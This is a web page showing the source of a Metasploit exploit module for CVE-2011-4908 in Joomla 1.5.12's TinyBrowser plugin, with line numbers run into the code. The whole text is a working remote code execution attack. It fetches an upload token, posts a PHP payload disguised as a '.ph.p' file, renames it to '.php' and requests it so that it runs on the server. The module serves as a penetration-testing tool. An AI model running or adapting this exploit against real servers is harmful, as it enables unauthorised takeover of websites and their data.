Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/joomla_tinybrowser.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Joomla 1.5.12 TinyBrowser File Upload Code Execution',13'Description' => %q{14This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.15This plugin is not secured in version 1.5.12 of joomla and allows the upload16of files on the remote server.17By renaming the uploaded file this vulnerability can be used to upload/execute18code on the affected system.19},20'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],21'License' => MSF_LICENSE,22'References' =>23[24['CVE', '2011-4908'],25['OSVDB', '64578'],26['EDB', '9296'],27['URL', 'http://developer.joomla.org/security/news/301-20090722-core-file-upload.html'],28],29'Privileged' => false,30'Payload' =>31{32'DisableNops' => true,33'Compat' =>34{35'ConnectionType' => 'find',36},37'Space' => 1024,38},39'Platform' => 'php',40'Arch' => ARCH_PHP,41'Targets' => [[ 'Automatic', { }]],42'DisclosureDate' => '2009-07-22',43'DefaultTarget' => 0))4445register_options(46[47OptString.new('URI', [true, "Joomla directory path", "/"]),48])49end5051def check52uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php')53uri << '?type=file&folder='54res = send_request_raw(55{56'uri' => uri57}, 25)5859if (res and res.body =~ /flexupload.swf/)60return Exploit::CheckCode::Appears61end6263return Exploit::CheckCode::Safe64end656667def retrieve_obfuscation()6869end707172def exploit7374cmd_php = '<?php ' + payload.encoded + '?>'7576# Generate some random strings77cmdscript = rand_text_alpha_lower(20)78boundary = rand_text_alphanumeric(6)7980# Static files81directory = '/images/stories/'82uri_base = normalize_uri(datastore['URI'])83uri_base << '/' if uri_base[-1,1] != '/'84uri_base << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser'8586# Get obfuscation code (needed to upload files)87obfuscation_code = nil8889res = send_request_raw({90'uri' => uri_base + '/upload.php?type=file&folder='91}, 25)9293if (res)9495if(res.body =~ /"obfus", "((\w)+)"\)/)96obfuscation_code = $197print_good("Successfully retrieved obfuscation code: #{obfuscation_code}")98else99print_error("Error retrieving obfuscation code!")100return101end102end103104105106# Upload shellcode (file ending .ph.p)107data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"108data << "#{cmdscript}.ph.p\r\n--#{boundary}"109data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"110data << "Content-Type: application/octet-stream\r\n\r\n"111data << cmd_php112data << "\r\n--#{boundary}--"113114res = send_request_raw({115'uri' => uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",116'method' => 'POST',117'data' => data,118'headers' =>119{120'Content-Length' => data.length,121'Content-Type' => 'multipart/form-data; boundary=' + boundary,122}123}, 25)124125if (res and res.body =~ /File Upload Success/)126print_good("Successfully Uploaded #{cmdscript}.ph.p")127else128print_error("Error uploading #{cmdscript}.ph.p")129end130131132# Complete the upload process (rename file)133print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")134res = send_request_raw({135'uri' => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'136})137138139# Rename the file from .ph.p to .php140res = send_request_cgi(141{142'method' => 'POST',143'uri' => uri_base + '/edit.php?type=file&folder=',144'vars_post' =>145{146'actionfile[0]' => "#{cmdscript}.ph.p",147'renameext[0]' => 'p',148'renamefile[0]' => "#{cmdscript}.ph",149'sortby' => 'name',150'sorttype' => 'asc',151'showpage' => '0',152'action' => 'rename',153'commit' => '',154}155}, 10)156157if (res and res.body =~ /successfully renamed./)158print_status("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")159else160print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")161end162163164# Finally call the payload165print_status("Calling payload: #{cmdscript}.php")166uri = normalize_uri(datastore['URI'])167uri << '/' if uri[-1,1] != '/'168uri << directory + cmdscript + ".php"169res = send_request_raw({170'uri' => uri171}, 25)172173end174end175176177